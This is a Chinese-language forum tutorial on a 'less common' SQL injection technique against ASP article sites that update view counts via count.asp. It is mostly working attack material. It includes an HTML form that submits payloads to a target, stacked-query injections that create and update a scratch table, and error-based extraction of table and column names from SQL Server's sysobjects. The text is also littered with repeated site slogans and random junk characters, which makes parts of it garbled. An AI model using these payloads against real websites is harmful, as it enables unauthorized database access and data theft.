网站SQL脚本注入的不常见方法
文章系统原理: 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站 z& W6 T0 G8 ]. ~- z
全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。 我爱电脑技术社区--打造最好的电脑技术自学交流平台/ `! O2 d- g4 p; v6 A
攻击方法:查看源文件,里面是否有通过JS来调用页面。
) y4 @" C( ?& E& g* C' e电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。
! l& c9 ^" j9 Q5 Q/ k V. X打造最好的电脑自学交流论坛www.520diannao.com( `) R3 F! v% z" k3 j
我们就可以来试一下可否注入: 打造最好的电脑自学交流论坛+ A1 P+ @- _# p' ^# F0 }$ i( n
http://服务器域名/count.asp?id=1552’
: E9 |* X$ P0 X看是否出错。如出错说明有注入漏洞,可采取正常攻击。 打造最好的电脑自学交流论坛# ]) j% M% I e+ U6 @$ g& w- O% [1 C
9 }7 f7 O1 e( ~# n: N5 \5 u8 y# g1 o5 nwww.520diannao.com在本机建立一个post.htm的文件和log.txt的文本文件(用于记录用)
/ V$ p' [# J9 L& H6 A: k% ~我爱电脑技术论坛
, l& s5 I2 G( C" {! ~- B7 W0 cwww.520diannao.compost.htm内容:方便输入…
6 q& O4 l1 Z- Z2 a. J复制内容到剪贴板代码: ! @- w( {# {! Y1 g' C( P
<iframe name=p src=# width=800 height=350 frameborder=0></iframe> 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站/ C$ E4 m- R ~3 _3 O. e
<br>
% R) ?+ U5 {; c1 B我爱电脑技术社区--打造最好的电脑技术自学交流平台<form action=http://test.com/count.asp target=p> 打造最好的电脑自学交流论坛, G* `. V' m/ w3 c
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--" style="width:750">
. E: M `' |" n2 `) _, X9 m6 K' B<input type=submit value=">>>">
8 X& v3 O4 e. z2 c% G4 G9 |& K9 Z电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站<input type=hidden name=fno value="2, 3"> 我爱电脑技术社区--打造最好的电脑技术自学交流平台7 b5 r) h( l$ a8 {& c w0 V
</form>
: @2 m9 B, a& z; \电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站对于SQL SERVER服务器可以这样判断:在1552后加一分号,如正常可能是SQL SERVER对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
! F# g7 R+ W% I9 {2 f( j V我爱电脑技术社区--打造最好的电脑技术自学交流平台
B: L/ o7 Z) |2 O+ H我爱电脑技术社区--打造最好的电脑技术自学交流平台然后插入一条记录:id=1552;insert into aaa values(’test’);--
8 v" F$ W1 {# `8 ]' v% t我爱电脑技术论坛我爱电脑技术论坛( `6 x; j% d! e
再之后枚举出他的数据表名:
6 A9 P2 ?. ]. w& b3 ]我爱电脑技术社区--打造最好的电脑技术自学交流平台
7 f* U/ T5 \" M. }& S, ywww.520diannao.comid=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
4 f6 S3 I$ z- V. ?& G1 R! F* _! d! N打造最好的电脑自学交流论坛我爱电脑技术论坛. p! r C/ y; A, Y! C/ b; ~3 {
这是将第一个表名更新到aaa的字段处。 电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站, U ~, r3 u% M8 |' w
- c* ^5 }+ y0 ?# s8 K) X0 F" E/ y电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’, 将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
' m! d1 I' U$ U1 ]% F& ?我爱电脑技术社区--打造最好的电脑技术自学交流平台
% J3 y; W8 v3 i3 z电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站/search.asp,行21 我爱电脑技术社区--打造最好的电脑技术自学交流平台9 c8 l8 Q* K$ Q/ t
8 \3 K; p- o1 I: E其中vote就是表名: 打造最好的电脑自学交流论坛8 H8 o9 }$ R! {* P' L: T9 I
www.520diannao.com, ?8 o( E4 ^. }; W }) E
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。 ' Y- r$ D7 r# R- ^
% O$ K$ i* A; c0 m6 P我爱电脑技术社区--打造最好的电脑技术自学交流平台读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。 打造最好的电脑自学交流论坛! W0 _9 i2 D( s* N* W: L A {5 t2 D
电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站, _7 _* g- ^* \+ o4 |' Q
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
' `, `& ?+ U# T/ Z- o* X( Q, }打造最好的电脑自学交流论坛
U7 Y {- s4 D6 B* ^www.520diannao.com然后id=1552 and exists(select * from aaa where aaa>5)读出第二个表,一个个的读出,直到没有为止。
& w4 r C7 e, H$ B电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站
7 U8 x6 @1 I: T9 Z. E) B# z打造最好的电脑自学交流论坛读字段: 我爱电脑技术论坛9 s4 V7 Z) E" a/ H. D
/ B4 [+ E7 n, {; ?" g0 p1 X我爱电脑技术社区--打造最好的电脑技术自学交流平台id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));-- 我爱电脑技术论坛) z8 W: V5 L3 u1 l4 R& {/ ^, a1 B
我爱电脑技术社区--打造最好的电脑技术自学交流平台9 z9 L7 T! `% O4 {8 ?$ f0 O6 q
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名。